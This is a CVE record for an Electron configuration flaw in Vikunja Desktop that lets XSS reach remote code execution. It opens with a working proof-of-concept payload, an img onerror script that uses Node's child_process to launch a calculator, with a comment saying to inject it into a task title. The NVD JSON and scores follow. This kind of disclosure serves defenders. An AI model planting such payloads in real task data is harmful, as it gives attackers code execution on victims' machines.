CVE-2026-33334

<!-- Exploit Payload: Inject this into a Vikunja task title or description. Trigger: Victim views the task using the vulnerable Vikunja Desktop client. --> <img src=x onerror=" const { exec } = require('child_process'); // Command to execute (example: Calculator on Windows) let cmd = 'calc.exe'; if(process.platform === 'darwin') { cmd = 'open /System/Applications/Calculator.app'; } else if(process.platform === 'linux') { cmd = 'gnome-calculator'; } exec(cmd, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Output: ${stdout}`); }); ">

{"cve": {"id": "CVE-2026-33334", "sourceIdentifier": "[email protected]", "published": "2026-03-24T16:16:33.077", "lastModified": "2026-03-27T16:21:09.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the renderer process without `contextIsolation` or `sandbox`. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs. Version 2.2.0 fixes the issue."}, {"lang": "es", "value": "Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. A partir de la versión 0.21.0 y antes de la versión 2.2.0, el wrapper de Electron de Vikunja Desktop habilita 'nodeIntegration' en el proceso de renderizado sin 'contextIsolation' ni sandbox. Esto significa que cualquier vulnerabilidad de cross-site scripting (XSS) en el frontend web de Vikunja -- presente o futura -- escala automáticamente a ejecución remota de código completa en la máquina de la víctima, ya que los scripts inyectados obtienen acceso a las API de Node.js. La versión 2.2.0 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-269"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.21.0", "versionEndExcluding": "2.2.2", "matchCriteriaId": "AE5EF0A7-C1CA-45D6-9422-16F867671DFF"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xh67-63q3-hf7g", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released", "source": "[email protected]", "tags": ["Release Notes"]}]}}